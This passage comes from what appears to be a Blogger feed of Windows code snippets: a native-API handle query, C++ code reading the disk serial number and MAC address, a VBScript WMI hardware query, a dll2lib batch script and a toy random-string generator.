!= pReturnBuffer )<br /> {<br /> HeapFree(GetProcessHeap(), 0, pReturnBuffer);<br /> pReturnBuffer = NULL;<br /> }<br /><br /> if ( NULL == (pReturnBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, uReturnLength)) )<br /> goto Return;<br /><br /> ntStatus = pfnZwQuerySystemInformation(SystemHandleInformation, pReturnBuffer, uReturnLength, &uReturnLength);<br /> if ( STATUS_SUCCESS != ntStatus )<br /> goto Return;<br /><br /> *dwHandleCount = *(PULONG)pReturnBuffer;<br /><br />Return:<br /><br /> return pReturnBuffer;<br />}<br /><br />// Get object's name string<br />PVOID GetObjectNameByHandle(IN HANDLE hObject)<br />{<br /> PVOID pReturnBuffer = NULL;<br /> NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;<br /> ULONG uReturnLength = 0;<br /><br /> if ( NULL == hObject )<br /> goto Return;<br /><br /> ntStatus = pfnZwQueryObject(hObject, ObjectNameInformation, pReturnBuffer, 0, &uReturnLength);<br /> if ( STATUS_INFO_LENGTH_MISMATCH != ntStatus )<br /> goto Return;<br /><br /> if ( NULL == (pReturnBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, uReturnLength)) )<br /> goto Return;<br /><br /> ntStatus = pfnZwQueryObject(hObject, ObjectNameInformation, pReturnBuffer, uReturnLength, &uReturnLength);<br /> if ( STATUS_SUCCESS != ntStatus )<br /> {<br /> if ( NULL != pReturnBuffer )<br /> {<br /> HeapFree(GetProcessHeap(), 0, pReturnBuffer);<br /> pReturnBuffer = NULL;<br /> }<br /> }<br /><br />Return:<br /><br /> return pReturnBuffer;<br />}</div>
view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-69918707373972849762011-09-21T07:37:00.000-07:002011-09-21T07:38:49.907-07:00Code for get hard disk ID/network card MAC<div style="text-align: center;">
Author:AZMC</div>
<div style="text-align: left;">
Be free and at leisure, Neaten code for hard disk ID/network card MAC.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Code:</div>
<div style="text-align: left;">
// =============================================================================<br />// xID.h - 获取机器 ID - Azithromycin.13 - 2008.05.12<br />// =============================================================================<br /><br />#pragma once<br /><br />#ifndef _X_ID_<br />#define _X_ID_<br /><br />typedef struct _IDSECTOR {<br /> USHORT wGenConfig;<br /> USHORT wNumCyls;<br /> USHORT wReserved;<br /> USHORT wNumHeads;<br /> USHORT wBytesPerTrack;<br /> USHORT wBytesPerSector;<br /> USHORT wSectorsPerTrack;<br /> USHORT wVendorUnique[3];<br /> CHAR sSerialNumber[20];<br /> USHORT wBufferType;<br /> USHORT wBufferSize;<br /> USHORT wECCSize;<br /> CHAR sFirmwareRev[8];<br /> CHAR sModelNumber[40];<br /> USHORT wMoreVendorUnique;<br /> USHORT wDoubleWordIO;<br /> USHORT wCapabilities;<br /> USHORT wReserved1;<br /> USHORT wPIOTiming;<br /> USHORT wDMATiming;<br /> USHORT wBS;<br /> USHORT wNumCurrentCyls;<br /> USHORT wNumCurrentHeads;<br /> USHORT wNumCurrentSectorsPerTrack;<br /> ULONG ulCurrentSectorCapacity;<br /> USHORT wMultSectorStuff;<br /> ULONG ulTotalAddressableSectors;<br /> USHORT wSingleWordDMA;<br /> USHORT wMultiWordDMA;<br /> BYTE bReserved[128];<br />} IDSECTOR, *PIDSECTOR;<br /><br />extern char xID[ 64 ];<br /><br />void xGetHardDiskID();<br />void xGetNetCardID();<br /><br />#endif<br /><br />// =============================================================================<br />// xID.cpp - 获取机器 ID - Azithromycin.13 - 2008.05.12<br />// =============================================================================<br /><br />#include "stdafx.h"<br /><br />#include "xID.h"<br /><br />#include <winioctl.h><br /><br />char xID[ 64 ] = { 0 };<br /><br />void xGetHardDiskID()<br />{<br /> HANDLE hDevice;<br /> BOOL bResult;<br /> DWORD dwRet;<br /><br /> memset( ( void* )xID,0,64 );<br /><br /> hDevice = CreateFile( "\\\\.\\PhysicalDrive0",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL );<br /> if( hDevice == INVALID_HANDLE_VALUE ) return;<br /><br /> GETVERSIONINPARAMS vip;<br /> bResult = DeviceIoControl( hDevice,SMART_GET_VERSION,NULL,0,&vip,sizeof( GETVERSIONINPARAMS ),&dwRet,NULL );<br /> if( !bResult ) {<br /> CloseHandle( hDevice );<br /> return;<br /> }<br /> if( vip.bIDEDeviceMap == 0 ) {<br /> CloseHandle( hDevice );<br /> return;<br /> }<br /><br /> SENDCMDINPARAMS cmdin;<br /> memset( ( void* )&cmdin,0,sizeof( cmdin ) );<br /> cmdin.irDriveRegs.bSectorCountReg = 0x01;<br /> cmdin.irDriveRegs.bSectorNumberReg = 0x01;<br /> cmdin.irDriveRegs.bFeaturesReg = 0x00;<br /> cmdin.bDriveNumber = 0x00;<br /> cmdin.irDriveRegs.bCylLowReg = 0x00;<br /> cmdin.irDriveRegs.bCylHighReg = 0x00;<br /> cmdin.irDriveRegs.bDriveHeadReg = 0xa0;<br /> cmdin.irDriveRegs.bCommandReg = 0xec;<br /> cmdin.cBufferSize = 0x200;<br /><br /> BYTE cmdout[ sizeof( SENDCMDOUTPARAMS ) + 512 -1 ];<br /> memset( ( void* )cmdout,0,sizeof( SENDCMDOUTPARAMS ) + 512 -1 );<br /> SENDCMDOUTPARAMS* pcmdout = ( SENDCMDOUTPARAMS* )&cmdout;<br /> pcmdout->cBufferSize = 0x200;<br /><br /> bResult = DeviceIoControl( hDevice,SMART_RCV_DRIVE_DATA,( LPVOID )&cmdin,sizeof( SENDCMDINPARAMS ),cmdout,sizeof( cmdout ),&dwRet,NULL );<br /> if( !bResult ) {<br /> CloseHandle( hDevice );<br /> return;<br /> }<br /><br /> IDSECTOR* pisd = ( IDSECTOR* )&cmdout[ sizeof( SENDCMDOUTPARAMS ) - 1 ];<br /><br /> char tmpch1,tmpch2;<br /> int j = 0;<br /> for( int i = 0; i < sizeof( pisd->sSerialNumber ); i += 2 ) {<br /> tmpch1 = pisd->sSerialNumber[ i + 1 ];<br /> tmpch2 = pisd->sSerialNumber[ i ];<br /> if( isdigit( tmpch1 ) || isalpha( tmpch1 ) ) {<br /> xID[ j++ ] = tmpch1;<br /> }<br /> if( isdigit( tmpch2 ) || isalpha( tmpch2 ) ) {<br /> xID[ j++ ] = tmpch2;<br /> }<br /> }<br /><br /> CloseHandle( hDevice );<br />}<br /><br />#include <Iphlpapi.h.><br />#pragma comment( lib,"Iphlpapi.lib" )<br /><br />void xGetNetCardID()<br />{<br /> PIP_ADAPTER_INFO pinfo;<br /> unsigned char buf[ 4096 ];<br /> unsigned long len = 4096;<br /> unsigned long nError = 0;<br /><br /> ZeroMemory( buf,4096 );<br /> pinfo = ( PIP_ADAPTER_INFO )buf;<br /><br /> nError = GetAdaptersInfo( pinfo,&len );<br /> if( nError == ERROR_SUCCESS ) {<br /> sprintf( xID,"%02X%02X%02X%02X%02X%02X",pinfo->Address[0],pinfo->Address[1],pinfo->Address[2],pinfo->Address[3],pinfo->Address[4],pinfo->Address[5] );<br /> }<br />}<br /><br />===〉调用相应的函数,ID 保存在 xID 数组中。<br />===〉一般地,要从 PhysicalDrive0/PhysicalDrive1/PhysicalDrive2/PhysicalDrive3 循环获取。<br />===〉以下为 VBScript 代码<br /><br />strComputer = "." 'Dot (.) equals local computer in WMI<br /><br />Set objWMIService = GetObject("winmgmts:\\" & strComputer)<br />Set colServices = objWMIService.InstancesOf("Win32_PhysicalMedia")<br /><br />For Each objService In colServices<br /> WScript.Echo "Win32_PhysicalMedia--Tag :" & objService.Tag & vbCrLf & _<br /> " --SerialNumber:" & Trim(objService.SerialNumber) & vbCrLf<br />Next<br /><br />Set colServices = objWMIService.InstancesOf("Win32_Processor")<br /><br />For Each objService In colServices<br /> WScript.Echo "Win32_Processor--ProcessorId:" & objService.ProcessorId & vbCrLf & _<br /> " --UniqueId :" & Trim(objService.UniqueId) & vbCrLf<br />Next<br /><br />Set colServices = objWMIService.InstancesOf("Win32_NetworkAdapter")<br /><br />For Each objService In colServices<br /> WScript.Echo "Win32_NetworkAdapter--MACAddress:" & objService.MACAddress & vbCrLf<br />Next<br /><br />Set colServices = objWMIService.InstancesOf("Win32_BIOS")<br /><br />For Each objService In colServices<br /> WScript.Echo "Win32_BIOS--SerialNumber :" & objService.SerialNumber & vbCrLf<br />Next<br /><br />Set colServices = objWMIService.InstancesOf("Win32_BaseBoard")<br /><br />For Each objService In colServices<br /> WScript.Echo "Win32_BaseBoard--Tag :" & objService.Tag & vbCrLf & _<br /> " --SerialNumber :" & objService.SerialNumber & vbCrLf<br />Next </div>
view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-13141413517009323482011-09-20T07:26:00.000-07:002011-09-20T07:26:32.551-07:00dll2lib<div style="text-align: center;">
Author:forgot</div>
<div style="text-align: left;">
echo off<br />cls<br />set def=%~n1.def<br />set exp=%~n1.exp<br />echo dll2lib by forgot<br />if "%1"=="" (<br /> echo syntax: dll2lib dllfile<br /> goto exit<br />)<br />echo EXPORTS >%def%<br />for /f "usebackq skip=20 tokens=1,2,3,4,5*" %%i in (`dumpbin /nologo /exports %1`) do (<br /> if "%%l" == "(forwarded" (<br /> echo %%k >>%def%<br /> ) else (<br /> if not "%%l" == "" (<br /> if "%%m" == "" (<br /> echo %%l >>%def%<br /> )<br /> )<br /> )<br />)<br />lib /def:%def% /machine:ix86 /nologo<br />del %exp%<br />del %def%<br />:exit<br />pause<br /></div>
view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-10156705856576206722011-09-19T07:10:00.000-07:002011-09-19T07:10:07.885-07:00Random string generation function<div style="text-align: center;">
Author:火影</div>
<div style="text-align: left;">
Wrote for play, Don't laugh at me!</div>
<div style="text-align: left;">
#include "stdafx.h"<br />#include <stdio.h><br />#include "windows.h"<br />#pragma comment(lib,"winmm.lib")<br /><br />int main(int argc, char* argv[])<br />{<br /> int RanNum;<br /> int n1,n2;<br /> int count;<br /> char *buffer;<br /> char ch;<br /> //Generation seed<br /> srand((unsigned(timeGetTime())));<br /> RanNum=rand();<br /> n1=RanNum%10;<br /> printf("Random number%d\n",n1);<br /> n1++;<br /> buffer=(char *)VirtualAlloc(NULL,2*n1,MEM_COMMIT,PAGE_EXECUTE_READWRITE);<br /> memset((void *)buffer,0,2*n1);<br /> for (count=0;count<(2*n1-1);count++)<br /> {<br /> RanNum=rand();<br /> n2=RanNum%52;<br /> printf("Random number%d\n",n2);<br /> if (n2>=26)<br /> {<br /> ch=n2&0x0F;<br /> ch+=0x47; //'a'------'z'<br /> }<br /> else<br /> {<br /> ch=n2&0x0F;<br /> ch+=0x41; //'A'-----'Z'<br /> }<br /> buffer[count]=ch;<br /> <br /> }<br /> printf("Generate random string%s\n",buffer);<br /> VirtualFree(buffer,2*n1,MEM_DECOMMIT);<br /> return 0;<br />} </div>
view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0